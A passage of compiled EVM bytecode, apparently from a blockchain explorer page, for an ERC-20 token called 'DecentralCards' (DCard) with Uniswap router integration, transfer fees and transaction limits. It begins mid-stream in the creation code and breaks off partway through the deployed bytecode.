095a576200097a565b600191505062000496565b60ff8411156200096e576200096e620008b7565b50506001821b62000496565b5060208310610133831016604e8410600b84101617156200099f575081810a62000496565b620009ab8383620008cd565b8060001904821115620009c257620009c2620008b7565b029392505050565b60006200049360ff84168362000916565b6000816000190483118215151615620009f857620009f8620008b7565b500290565b80820180821115620004965762000496620008b7565b60008262000a3157634e487b7160e01b600052601260045260246000fd5b500490565b602081526000825180602084015262000a57816040850160208701620005c2565b601f01601f19169190910160400192915050565b6122648062000a7b6000396000f3fe6080604052600436106102b25760003560e01c806382eefb4311610175578063c816841b116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac14610820578063f2fde38b14610836578063f872858a14610856578063fb1eb14b1461087757600080fd5b8063da00097d146107a4578063dc44b6a0146107c4578063dd62ed3e146107da57600080fd5b8063c816841b146106f2578063c860795214610712578063c867d60b14610728578063cab0347114610758578063d158272d1461076e578063d187f4171461078e57600080fd5b8063a457c2d71161012e578063a457c2d714610650578063a83f53a714610670578063a9059cbb14610686578063b2bdfa7b146106a6578063c469b6dd146106c6578063c5d24189146106dc57600080fd5b806382eefb43146105ab57806388790a68146105c15780638b42507f146105d75780638da5cb5b1461060757806395d89b4114610625578063a08e671f1461063a57600080fd5b80633ecad2711161021957806370a08231116101d257806370a0823114610509578063715018a61461053f578063751039fc146105545780637abdc1ca146105695780637d1db4a51461057f578063807c2d9c1461059557600080fd5b80633ecad2711461044b5780634a74bb021461047b5780635342acb41461049a578063557ed1ba146104ca57806357a5802f146104dd57806361a23c69146104f357600080fd5b80631ee162a11161026b5780631ee162a1146103aa57806323b872dd146103b457806327c8f835146103d45780632b112e49146103f4578063313ce56714610409578063395093511461042b57600080fd5b806306fdde03146102be578063095ea7b3146102e95780631245e347146103195780631694505e1461035157806316f2f1a81461037157806318160ddd1461039557600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d361088d565b6040516102e09190611d63565b60405180910390f35b3480156102f557600080fd5b50610309610304366004611dc9565b61091f565b60405190151581526020016102e0565b34801561032557600080fd5b50600554610339906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b34801561035d57600080fd5b50601c54610339906001600160a01b031681565b34801561037d57600080fd5b5061038760045481565b6040519081526020016102e0565b3480156103a157600080fd5b50602054610387565b6103b2610936565b005b3480156103c057600080fd5b506103096103cf366004611df5565b610be4565b3480156103e057600080fd5b50600754610339906001600160a01b031681565b34801561040057600080fd5b50610387610c4f565b34801561041557600080fd5b5060155460405160ff90911681526020016102e0565b34801561043757600080fd5b50610309610446366004611dc9565b610c7c565b34801561045757600080fd5b50610309610466366004611e36565b601b6020526000908152604090205460ff1681565b34801561048757600080fd5b5060245461030990610100900460ff1681565b3480156104a657600080fd5b506103096104b5366004611e36565b60186020526000908152604090205460ff1681565b3480156104d657600080fd5b5042610387565b3480156104e957600080fd5b50610387600d5481565b3480156104ff57600080fd5b50610387600e5481565b34801561051557600080fd5b50610387610524366004611e36565b6001600160a01b031660009081526016602052604090205490565b34801561054b57600080fd5b506103b2610cb2565b34801561056057600080fd5b506103b2610d26565b34801561057557600080fd5b50610387600b5481565b34801561058b57600080fd5b5061038760225481565b3480156105a157600080fd5b5061038760215481565b3480156105b757600080fd5b5061038760125481565b3480156105cd57600080fd5b5061038760085481565b3480156105e357600080fd5b506103096105f2366004611e36565b601a6020526000908152604090205460ff1681565b34801561061357600080fd5b506000546001600160a01b0316610339565b34801561063157600080fd5b506102d3610d94565b34801561064657600080fd5b5061038760105481565b34801561065c57600080fd5b5061030961066b366004611dc9565b610da3565b34801561067c57600080fd5b50610387600f5481565b34801561069257600080fd5b506103096106a1366004611dc9565b610df2565b3480156106b257600080fd5b50600054610339906001600160a01b031681565b3480156106d257600080fd5b5061038760035481565b3480156106e857600080fd5b5061038760025481565b3480156106fe57600080fd5b50601d54610339906001600160a01b031681565b34801561071e57600080fd5b5061038760095481565b34801561073457600080fd5b50610309610743366004611e36565b60196020526000908152604090205460ff1681565b34801561076457600080fd5b50610387600a5481565b34801561077a57600080fd5b50600654610339906001600160a01b031681565b34801561079a57600080fd5b50610387601f5481565b3480156107b057600080fd5b506024546103099062010000900460ff1681565b3480156107d057600080fd5b5061038760015481565b3480156107e657600080fd5b506103876107f5366004611e53565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b34801561082c57600080fd5b5061038760115481565b34801561084257600080fd5b506103b2610851366004611e36565b610dff565b34801561086257600080fd5b50602454610309906301000000900460ff1681565b34801561088357600080fd5b50610387601e5481565b60606013805461089c90611e8c565b80601f01602080910402602001604051908101604052809291908181526020018280546108c890611e8c565b80156109155780601f106108ea57610100808354040283529160200191610915565b820191906000526020600020905b8154815290600101906020018083116108f857829003601f168201915b5050505050905090565b600061092c33848461100c565b5060015b92915050565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161096090611ec6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e49190611efb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611efb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611efb565b601d80546001600160a01b03199081166001600160a01b039384169081178355601c80549092168585161782556000908152601760208181526040808420600c548816855282528084206000199055815430808652938352818520865489168652835281852055855487168452601b8252808420805460ff1990811660019081179092559654881685526019835281852080549097161790955592548183526016909352838220548254945163f305d71960e01b81529386169563f305d719953495610b9b9592839216904290600401611f18565b60606040518083038185885af1158015610bb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bde9190611f53565b50505050565b6000610bf1848484611130565b50610c448433610c3f856040518060600160405280602881526020016121c2602891396001600160a01b038a1660009081526017602090815260408083203384529091529020549190611593565b61100c565b5060015b9392505050565b6007546001600160a01b0316600090815260166020526040812054610c7790602054906115cd565b905090565b3360008181526017602090815260408083206001600160a01b0387168452909152812054909161092c918590610c3f9086610ee9565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161096090611ec6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610d505760405162461bcd60e51b815260040161096090611ec6565b601554610d619060ff16600a61207b565b602054610d6e919061208a565b602255601554610d829060ff16600a61207b565b602054610d8f919061208a565b602155565b60606014805461089c90611e8c565b600061092c3384610c3f8560405180606001604052806025815260200161220a602591393360009081526017602090815260408083206001600160a01b038d1684529091529020549190611593565b6000610c44338484611130565b6000546001600160a01b03163314610e295760405162461bcd60e51b815260040161096090611ec6565b6001600160a01b038116610e8e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610960565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610ef683856120a9565b905083811015610c485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610960565b600082600003610f5a57506000610930565b6000610f66838561208a565b905082610f7385836120bc565b14610c485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610960565b6000610c4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160f565b6001600160a01b03831661106e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610960565b6001600160a01b0382166110cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610960565b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610960565b6001600160a01b0383166111f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610960565b6000821161125a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610960565b6001600160a01b03841660009081526018602052604090205460ff168061129957506001600160a01b03831660009081526018602052604090205460ff165b156112b0576112a984848461163d565b9050610c48565b60245460ff16156112c6576112a984848461163d565b6001600160a01b0384166000908152601a602052604090205460ff1615801561130857506001600160a01b0383166000908152601a602052604090205460ff16155b15611370576022548211156113705760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610960565b3060009081526016602052604090205460235481108015908190611397575060245460ff16155b80156113bc57506001600160a01b0386166000908152601b602052604090205460ff16155b80156113cf5750602454610100900460ff165b156113f45760245462010000900460ff16156113eb5760235491505b6113f482611711565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260169091529190912054611446918690611593565b6001600160a01b038716600090815260166020908152604080832093909355601890529081205460ff168061149357506001600160a01b03861660009081526018602052604090205460ff165b6114a7576114a287878761183e565b6114a9565b845b6024549091506301000000900460ff1680156114de57506001600160a01b03861660009081526019602052604090205460ff16155b1561151a5760215461150f82611509896001600160a01b031660009081526016602052604090205490565b90610ee9565b111561151a57600080fd5b6001600160a01b03861660009081526016602052604090205461153d9082610ee9565b6001600160a01b0380881660008181526016602052604090819020939093559151908916906000805160206121ea8339815191529061157f9085815260200190565b60405180910390a360019350505050610c48565b600081848411156115b75760405162461bcd60e51b81526004016109609190611d63565b5060006115c484866120de565b95945050505050565b6000610c4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611593565b600081836116305760405162461bcd60e51b81526004016109609190611d63565b5060006115c484866120bc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260169091529182205461168e918490611593565b6001600160a01b0380861660009081526016602052604080822093909355908516815220546116bd9083610ee9565b6001600160a01b0380851660008181526016602052604090819020939093559151908616906000805160206121ea833981519152906116ff9086815260200190565b60405180910390a35060019392505050565b6024805460ff19166001179055601054600d546000916117419160029161173b9182908790610f48565b90610fca565b9050600061174f83836115cd565b905061175a81611a5d565b600d54479060009061177a90611771906002610fca565b601054906115cd565b9050600061179c600261173b8461173b600d5488610f4890919063ffffffff16565b905060006117b98361173b600f5487610f4890919063ffffffff16565b905060006117d1826117cb87866115cd565b906115cd565b905080156117ef576006546117ef906001600160a01b031682611bf0565b811561180b5760055461180b906001600160a01b031683611bf0565b60008311801561181b5750600087115b1561182a5761182a8784611c2b565b50506024805460ff19169055505050505050565b600c546040516370a0823160e01b81526001600160a01b03909116600482015260009081908190819030906370a0823190602401602060405180830381865afa15801561188f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b391906120f1565b6001600160a01b0388166000908152601b602052604090205490915060ff1615611944576118fd606461173b6118f66004546011546115cd90919063ffffffff16565b8890610f48565b925060006004541180156119145750601f54601e54105b1561193f57611933606461173b60045488610f4890919063ffffffff16565b915061193f8783611ccd565b6119d6565b6001600160a01b0386166000908152601b602052604090205460ff16156119d657611984606461173b6118f6600b546012546115cd90919063ffffffff16565b600f5490935061199490826115cd565b90506000600b541180156119ab5750601f54601e54105b156119d6576119ca606461173b600b5488610f4890919063ffffffff16565b91506119d68783611ccd565b8215611a3e57306000908152601660205260409020546119f69084610ee9565b30600081815260166020526040908190209290925590516001600160a01b038916906000805160206121ea83398151915290611a359087815260200190565b60405180910390a35b611a52611a4b8484610ee9565b86906115cd565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a9257611a9261210a565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611aeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0f9190611efb565b81600181518110611b2257611b2261210a565b6001600160a01b039283166020918202929092010152601c54611b48913091168461100c565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b81908590600090869030904290600401612164565b600060405180830381600087803b158015611b9b57600080fd5b505af1158015611baf573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611be49291906121a0565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611c26573d6000803e3d6000fd5b505050565b601c54611c439030906001600160a01b03168461100c565b601c54600c5460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611c839230928992600092839216904290600401611f18565b60606040518083038185885af1158015611ca1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611cc69190611f53565b5050505050565b601f54601e5410611cdc575050565b6007546001600160a01b0316600090815260166020526040902054611d019082610ee9565b6007546001600160a01b0316600090815260166020526040902055601e54611d299082610ee9565b601e556007546040518281526001600160a01b03918216918416906000805160206121ea8339815191529060200160405180910390a35050565b600060208083528351808285015260005b81811015611d9057858101830151858201604001528201611d74565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dc657600080fd5b50565b60008060408385031215611ddc57600080fd5b8235611de781611db1565b946020939093013593505050565b600080600060608486031215611e0a57600080fd5b8335611e1581611db1565b92506020840135611e2581611db1565b929592945050506040919091013590565b600060208284031215611e4857600080fd5b8135610c4881611db1565b60008060408385031215611e6657600080fd5b8235611e7181611db1565b91506020830135611e8181611db1565b809150509250929050565b600181811c90821680611ea057607f821691505b602082108103611ec057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f0d57600080fd5b8151610c4881611db1565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f6857600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611fd2578160001904821115611fb857611fb8611f81565b80851615611fc557918102915b93841c9390800290611f9c565b509250929050565b600082611fe957506001610930565b81611ff657506000610930565b816001811461200c576002811461201657612032565b6001915050610930565b60ff84111561202757612027611f81565b50506001821b610930565b5060208310610133831016604e8410600b8410161715612055575081810a610930565b61205f8383611f97565b806000190482111561207357612073611f81565b029392505050565b6000610c4860ff841683611fda565b60008160001904831182151516156120a4576120a4611f81565b500290565b8082018082111561093057610930611f81565b6000826120d957634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561093057610930611f81565b60006020828403121561210357600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156121595781516001600160a01b031687529582019590820190600101612134565b509495945050505050565b85815284602082015260a06040820152600061218360a0830186612120565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006121b96040830184612120565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f229826ec74ac64a7ce5c19520a4bde2be1e5cf7866c076e3a70d7058f26389264736f6c6343000810003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000973ce0e7ca2bff2dce8ff5ad63da62ab343722b8000000000000000000000000973ce0e7ca2bff2dce8ff5ad63da62ab343722b8000000000000000000000000c358414dd093cfda4961123d16419393fad2e7d3000000000000000000000000000000000000000000000000000000000000000e446563656e7472616c436172647300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054443617264000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102b25760003560e01c806382eefb4311610175578063c816841b116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac14610820578063f2fde38b14610836578063f872858a14610856578063fb1eb14b1461087757600080fd5b8063da00097d146107a4578063dc44b6a0146107c4578063dd62ed3e146107da57600080fd5b8063c816841b146106f2578063c860795214610712578063c867d60b14610728578063cab0347114610758578063d158272d1461076e578063d187f4171461078e57600080fd5b8063a457c2d71161012e578063a457c2d714610650578063a83f53a714610670578063a9059cbb14610686578063b2bdfa7b146106a6578063c469b6dd146106c6578063c5d24189146106dc57600080fd5b806382eefb43146105ab57806388790a68146105c15780638b42507f146105d75780638da5cb5b1461060757806395d89b4114610625578063a08e671f1461063a57600080fd5b80633ecad2711161021957806370a08231116101d257806370a0823114610509578063715018a61461053f578063751039fc146105545780637abdc1ca146105695780637d1db4a51461057f578063807c2d9c1461059557600080fd5b80633ecad2711461044b5780634a74bb021461047b5780635342acb41461049a578063557ed1ba146104ca57806357a5802f146104dd57806361a23c69146104f357600080fd5b80631ee162a11161026b5780631ee162a1146103aa57806323b872dd146103b457806327c8f835146103d45780632b112e49146103f4578063313ce56714610409578063395093511461042b57600080fd5b806306fdde03146102be578063095ea7b3146102e95780631245e347146103195780631694505e1461035157806316f2f1a81461037157806318160ddd1461039557600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d361088d565b6040516102e09190611d63565b60405180910390f35b3480156102f557600080fd5b50610309610304366004611dc9565b61091f565b60405190151581526020016102e0565b34801561032557600080fd5b50600554610339906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b34801561035d57600080fd5b50601c54610339906001600160a01b031681565b34801561037d57600080fd5b5061038760045481565b6040519081526020016102e0565b3480156103a157600080fd5b50602054610387565b6103b2610936565b005b3480156103c057600080fd5b506103096103cf366004611df5565b610be4565b3480156103e057600080fd5b50600754610339906001600160a01b031681565b34801561040057600080fd5b50610387610c4f565b34801561041557600080fd5b5060155460405160ff90911681526020016102e0565b34801561043757600080fd5b50610309610446366004611dc9565b610c7c565b34801561045757600080fd5b50610309610466366004611e36565b601b6020526000908152604090205460ff1681565b34801561048757600080fd5b5060245461030990610100900460ff1681565b3480156104a657600080fd5b506103096104b5366004611e36565b60186020526000908152604090205460ff1681565b3480156104d657600080fd5b5042610387565b3480156104e957600080fd5b50610387600d5481565b3480156104ff57600080fd5b50610387600e5481565b34801561051557600080fd5b50610387610524366004611e36565b6001600160a01b031660009081526016602052604090205490565b34801561054b57600080fd5b506103b2610cb2565b34801561056057600080fd5b506103b2610d26565b34801561057557600080fd5b50610387600b5481565b34801561058b57600080fd5b5061038760225481565b3480156105a157600080fd5b5061038760215481565b3480156105b757600080fd5b5061038760125481565b3480156105cd57600080fd5b5061038760085481565b3480156105e357600080fd5b506103096105f2366004611e36565b601a6020526000908152604090205460ff1681565b34801561061357600080fd5b506000546001600160a01b0316610339565b34801561063157600080fd5b506102d3610d94565b34801561064657600080fd5b5061038760105481565b34801561065c57600080fd5b5061030961066b366004611dc9565b610da3565b34801561067c57600080fd5b50610387600f5481565b34801561069257600080fd5b506103096106a1366004611dc9565b610df2565b3480156106b257600080fd5b50600054610339906001600160a01b031681565b3480156106d257600080fd5b5061038760035481565b3480156106e857600080fd5b5061038760025481565b3480156106fe57600080fd5b50601d54610339906001600160a01b031681565b34801561071e57600080fd5b5061038760095481565b34801561073457600080fd5b50610309610743366004611e36565b60196020526000908152604090205460ff1681565b34801561076457600080fd5b50610387600a5481565b34801561077a57600080fd5b50600654610339906001600160a01b031681565b34801561079a57600080fd5b50610387601f5481565b3480156107b057600080fd5b506024546103099062010000900460ff1681565b3480156107d057600080fd5b5061038760015481565b3480156107e657600080fd5b506103876107f5366004611e53565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b34801561082c57600080fd5b5061038760115481565b34801561084257600080fd5b506103b2610851366004611e36565b610dff565b34801561086257600080fd5b50602454610309906301000000900460ff1681565b34801561088357600080fd5b50610387601e5481565b60606013805461089c90611e8c565b80601f01602080910402602001604051908101604052809291908181526020018280546108c890611e8c565b80156109155780601f106108ea57610100808354040283529160200191610915565b820191906000526020600020905b8154815290600101906020018083116108f857829003601f168201915b5050505050905090565b600061092c33848461100c565b5060015b92915050565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161096090611ec6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e49190611efb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611efb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611efb565b601d80546001600160a01b03199081166001600160a01b039384169081178355601c80549092168585161782556000908152601760208181526040808420600c548816855282528084206000199055815430808652938352818520865489168652835281852055855487168452601b8252808420805460ff1990811660019081179092559654881685526019835281852080549097161790955592548183526016909352838220548254945163f305d71960e01b81529386169563f305d719953495610b9b9592839216904290600401611f18565b60606040518083038185885af1158015610bb9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bde9190611f53565b50505050565b6000610bf1848484611130565b50610c448433610c3f856040518060600160405280602881526020016121c2602891396001600160a01b038a1660009081526017602090815260408083203384529091529020549190611593565b61100c565b5060015b9392505050565b6007546001600160a01b0316600090815260166020526040812054610c7790602054906115cd565b905090565b3360008181526017602090815260408083206001600160a01b0387168452909152812054909161092c918590610c3f9086610ee9565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161096090611ec6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610d505760405162461bcd60e51b815260040161096090611ec6565b601554610d619060ff16600a61207b565b602054610d6e919061208a565b602255601554610d829060ff16600a61207b565b602054610d8f919061208a565b602155565b60606014805461089c90611e8c565b600061092c3384610c3f8560405180606001604052806025815260200161220a602591393360009081526017602090815260408083206001600160a01b038d1684529091529020549190611593565b6000610c44338484611130565b6000546001600160a01b03163314610e295760405162461bcd60e51b815260040161096090611ec6565b6001600160a01b038116610e8e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610960565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610ef683856120a9565b905083811015610c485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610960565b600082600003610f5a57506000610930565b6000610f66838561208a565b905082610f7385836120bc565b14610c485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610960565b6000610c4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160f565b6001600160a01b03831661106e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610960565b6001600160a01b0382166110cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610960565b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610960565b6001600160a01b0383166111f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610960565b6000821161125a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610960565b6001600160a01b03841660009081526018602052604090205460ff168061129957506001600160a01b03831660009081526018602052604090205460ff165b156112b0576112a984848461163d565b9050610c48565b60245460ff16156112c6576112a984848461163d565b6001600160a01b0384166000908152601a602052604090205460ff1615801561130857506001600160a01b0383166000908152601a602052604090205460ff16155b15611370576022548211156113705760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610960565b3060009081526016602052604090205460235481108015908190611397575060245460ff16155b80156113bc57506001600160a01b0386166000908152601b602052604090205460ff16155b80156113cf5750602454610100900460ff165b156113f45760245462010000900460ff16156113eb5760235491505b6113f482611711565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260169091529190912054611446918690611593565b6001600160a01b038716600090815260166020908152604080832093909355601890529081205460ff168061149357506001600160a01b03861660009081526018602052604090205460ff165b6114a7576114a287878761183e565b6114a9565b845b6024549091506301000000900460ff1680156114de57506001600160a01b03861660009081526019602052604090205460ff16155b1561151a5760215461150f82611509896001600160a01b031660009081526016602052604090205490565b90610ee9565b111561151a57600080fd5b6001600160a01b03861660009081526016602052604090205461153d9082610ee9565b6001600160a01b0380881660008181526016602052604090819020939093559151908916906000805160206121ea8339815191529061157f9085815260200190565b60405180910390a360019350505050610c48565b600081848411156115b75760405162461bcd60e51b81526004016109609190611d63565b5060006115c484866120de565b95945050505050565b6000610c4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611593565b600081836116305760405162461bcd60e51b81526004016109609190611d63565b5060006115c484866120bc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260169091529182205461168e918490611593565b6001600160a01b0380861660009081526016602052604080822093909355908516815220546116bd9083610ee9565b6001600160a01b0380851660008181526016602052604090819020939093559151908616906000805160206121ea833981519152906116ff9086815260200190565b60405180910390a35060019392505050565b6024805460ff19166001179055601054600d546000916117419160029161173b9182908790610f48565b90610fca565b9050600061174f83836115cd565b905061175a81611a5d565b600d54479060009061177a90611771906002610fca565b601054906115cd565b9050600061179c600261173b8461173b600d5488610f4890919063ffffffff16565b905060006117b98361173b600f5487610f4890919063ffffffff16565b905060006117d1826117cb87866115cd565b906115cd565b905080156117ef576006546117ef906001600160a01b031682611bf0565b811561180b5760055461180b906001600160a01b031683611bf0565b60008311801561181b5750600087115b1561182a5761182a8784611c2b565b50506024805460ff19169055505050505050565b600c546040516370a0823160e01b81526001600160a01b03909116600482015260009081908190819030906370a0823190602401602060405180830381865afa15801561188f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b391906120f1565b6001600160a01b0388166000908152601b602052604090205490915060ff1615611944576118fd606461173b6118f66004546011546115cd90919063ffffffff16565b8890610f48565b925060006004541180156119145750601f54601e54105b1561193f57611933606461173b60045488610f4890919063ffffffff16565b915061193f8783611ccd565b6119d6565b6001600160a01b0386166000908152601b602052604090205460ff16156119d657611984606461173b6118f6600b546012546115cd90919063ffffffff16565b600f5490935061199490826115cd565b90506000600b541180156119ab5750601f54601e54105b156119d6576119ca606461173b600b5488610f4890919063ffffffff16565b91506119d68783611ccd565b8215611a3e57306000908152601660205260409020546119f69084610ee9565b30600081815260166020526040908190209290925590516001600160a01b038916906000805160206121ea83398151915290611a359087815260200190565b60405180910390a35b611a52611a4b8484610ee9565b86906115cd565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a9257611a9261210a565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611aeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0f9190611efb565b81600181518110611b2257611b2261210a565b6001600160a01b039283166020918202929092010152601c54611b48913091168461100c565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b81908590600090869030904290600401612164565b600060405180830381600087803b158015611b9b57600080fd5b505af1158015611baf573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611be49291906121a0565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611c26573d6000803e3d6000fd5b505050565b601c54611c439030906001600160a01b03168461100c565b601c54600c5460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611c839230928992600092839216904290600401611f18565b60606040518083038185885af1158015611ca1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611cc69190611f53565b5050505050565b601f54601e5410611cdc575050565b6007546001600160a01b0316600090815260166020526040902054611d019082610ee9565b6007546001600160a01b0316600090815260166020526040902055601e54611d299082610ee9565b601e556007546040518281526001600160a01b03918216918416906000805160206121ea8339815191529060200160405180910390a35050565b600060208083528351808285015260005b81811015611d9057858101830151858201604001528201611d74565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dc657600080fd5b50565b60008060408385031215611ddc57600080fd5b8235611de781611db1565b94602093